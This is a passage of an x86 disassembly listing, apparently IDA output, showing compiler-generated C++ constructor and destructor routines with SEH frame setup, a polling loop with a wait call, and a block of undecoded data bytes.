sub_401AD2 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AD2 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AD2 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AD2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AD2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AD2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AD2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AD2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AD2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AD2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417540 proc near ; CODE XREF: sub_4014F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417540 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_401E83j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_402216j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417770 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_401EB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417830 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178F0 proc near ; CODE XREF: sub_4018CAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_4017D0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417960 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_401B27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A40 proc near ; CODE XREF: sub_401F28j add ecx, 4 jmp sub_401023 sub_417A40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401DEDj add ecx, 4 jmp sub_401023 sub_417AE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B00 proc near ; CODE XREF: sub_401FF5j add ecx, 4 jmp sub_401023 sub_417B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B20 proc near ; CODE XREF: sub_401EE2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BC0 proc near ; CODE XREF: sub_40157Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417BC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417BC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C60 proc near ; CODE XREF: sub_401645j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D30 proc near ; CODE XREF: sub_401776j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401749 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DF0 proc near ; CODE XREF: sub_401820j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E050 mov eax, esi pop esi retn sub_417DF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_4016B3j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E05C mov eax, esi pop esi retn sub_417E20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_401415j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F10 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417FD0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417FD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417FD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_401D11j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset nullsub_10 mov eax, esi pop esi retn sub_418050 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418080 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418080 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418080 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418100 proc near ; CODE XREF: sub_401A7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418100 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418100 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E09C mov eax, esi pop esi retn sub_418180 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4181B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418230 proc near ; CODE XREF: sub_401573j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A4 mov eax, esi pop esi retn sub_418230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418260 proc near ; CODE XREF: sub_40178Fj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A8 mov eax, esi pop esi retn sub_418260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418290 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_50F8D0 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418348: ; CODE XREF: sub_418330+E4j test bl, bl jnz loc_41841E mov al, [esi+8EF74h] test al, al jnz short loc_41835E mov bl, 1 jmp short loc_418372 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_418330+28j lea ecx, [esi+15Fh] call sub_40185C test al, al setz bl test bl, bl jz short loc_418379 loc_418372: ; CODE XREF: sub_418330+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418379: ; CODE XREF: sub_418330+40j lea ecx, [esp+1Ch+var_C] call sub_402086 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F4B mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jz short loc_4183FE loc_4183B4: ; CODE XREF: sub_418330+CCj lea ecx, [esp+1Ch+var_C] call sub_402211 mov ecx, [eax] call sub_401744 lea ecx, [esp+1Ch+var_C] call sub_402211 mov eax, [eax] test eax, eax jz short loc_4183DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4183DB: ; CODE XREF: sub_418330+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jnz short loc_4183B4 loc_4183FE: ; CODE XREF: sub_418330+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418348 test bl, bl jz short loc_41842B loc_41841E: ; CODE XREF: sub_418330+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41842B: ; CODE XREF: sub_418330+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418490 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418490 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E6EDB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4184D0 push eax jmp short loc_4184D5 ; --------------------------------------------------------------------------- loc_4184D0: ; CODE XREF: sub_418490+3Bj push offset byte_446F70 loc_4184D5: ; CODE XREF: sub_418490+3Ej lea ecx, [esi+9FD57h] call sub_4015D7 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184EE push edi jmp short loc_4184F3 ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_418490+59j push offset byte_446F70 loc_4184F3: ; CODE XREF: sub_418490+5Cj lea ecx, [esi+9FD6Ch] call sub_4015D7 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418490 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418840: ; CODE XREF: ___:00402202j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418860: ; CODE XREF: ___:00401EC4j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_447158 call sub_401767 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418890 proc near ; CODE XREF: sub_401B09j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021BC mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401622 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40142E mov edx, [esi+4] mov ecx, esi push edx call sub_4020E5 sub_418890 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_401AFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418900 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418940 proc near ; CODE XREF: sub_4021DAj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx 